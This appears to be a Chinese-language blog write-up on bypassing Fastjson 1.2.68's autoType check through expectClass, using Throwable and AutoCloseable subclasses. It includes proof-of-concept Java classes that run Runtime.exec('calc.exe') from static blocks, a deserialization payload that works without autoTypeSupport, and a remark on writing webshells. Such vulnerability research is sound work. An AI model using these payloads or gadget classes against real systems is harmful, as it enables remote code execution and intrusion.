发现主要是2个地方会使用到

  • com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze

  • com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

先构造反序列化,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有expectClass参数的checkAutoType达到我们的目的

总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法

1653554166730.png

如果clazz是Throwable的子类,那么就返回ThrowableDeserializer,如果所有条件都不满足,那么就会调用createJavaBeanDeserializer去新建JavaBeanDeserializer

ThrowableDeserializer

要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer这个反序列化器,根据上面的分析,那么我们@type传入的就应该是Throwable的子类或者本身。也就是说,我们的第二个@type对应的类必须是期望类java.lang.Throwable的子类

这里第一个@type传入Throwable或者它的子类就可以使用ThrowableDeserializer,但是由于java.lang.Throwable不在白名单中,所以需要手动开启autoTypeSupport

1653561163968.png

  • 也就是说,第一个@type参数是Throwable或者它的子类,那么第二个@type如果也是Throwable或者它的子类,那么就可以绕过checkAutoType(),从而实例化第二个@type指向的类

例如,我们本地编写一个ThrowableEvil,继承Throwable,然后静态代码块写入恶意代码,那么这里即可触发命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.reflect.Method;

public class ThrowableEvil extends Throwable{
static {
try {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getRuntime = runtime.getMethod("getRuntime");
Object r = getRuntime.invoke(runtime);
exec.invoke(r, "calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

1653561821863.png

这样就能成功利用了,但是实际上根本不存在这样的类去让我们创建,利用条件:

  1. 限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。
  2. 需要开启ATS,更鸡肋了,随便找个不在黑名单的类都可以利用了

所以说很难利用。

JavaBeanDeserializer

在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer

创建一个接口Test,并且写一个Test1实现这个接口,这个跟刚才那个差不多,也是第二个@type为第一个的实现,就能实例化第二个类

1653563622202.png

这个类跟刚才那个不同的是,这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport。找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用。

本地编写一个恶意类,实现java.lang.AutoCloseable接口

AutoCloseableEvil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.reflect.Method;

public class AutoCloseableEvil implements AutoCloseable{
static {
try {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getRuntime = runtime.getMethod("getRuntime");
Object r = getRuntime.invoke(runtime);
exec.invoke(r, "calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}


@Override
public void close() throws Exception {

}
}

payload(未开启ATS)

1
{"@type":"java.lang.AutoCloseable", "@type":"AutoCloseableEvil"}

1653564195584.png

1653564465701.png

虽然能利用了,但是这几行基本杜绝了JNDI注入的风险,只能另寻出路。

在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。

由此 fastjson 漏洞利用思路从命令执行、JNDI 转为了写文件,在实战情况下,还是可以写入 webshell 拿到权限,因此这个思路成为了 68 版本之后 fastjson 中挖掘漏洞的新思路。

总结

其中JSON.parseJSON.parseObject()的区别是:

1、JSON.parse()返回的结果是Object对象,在使用@type指定类的时候,会获取@type指定的类并且调用该类的setter方法

1
2
String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parse(jsonstr);//返回类型为Object

image-20220517201729362

2、JSON.parseObject()返回的结果是JSONObject对象,在第二个参数中可以指定返回的对象类型,同时也会调用该类的setter方法

1
2
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr,User.class);//返回类型直接是User

image-20220517202016651

3、JSON.parseObject()使用了@type获取指定类的时候,就会同时调用gettersetter方法。

1
2
String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
JSONObject parse = JSON.parseObject(jsonstr);//返回类型为JSONObject

image-20220517202637238

参考

https://blog.csdn.net/cdyunaq/article/details/123330514

https://su18.org/post/fastjson/#8-fastjson-1268

https://su18.org/post/fastjson-1.2.68/#%E5%89%8D%E8%A8%80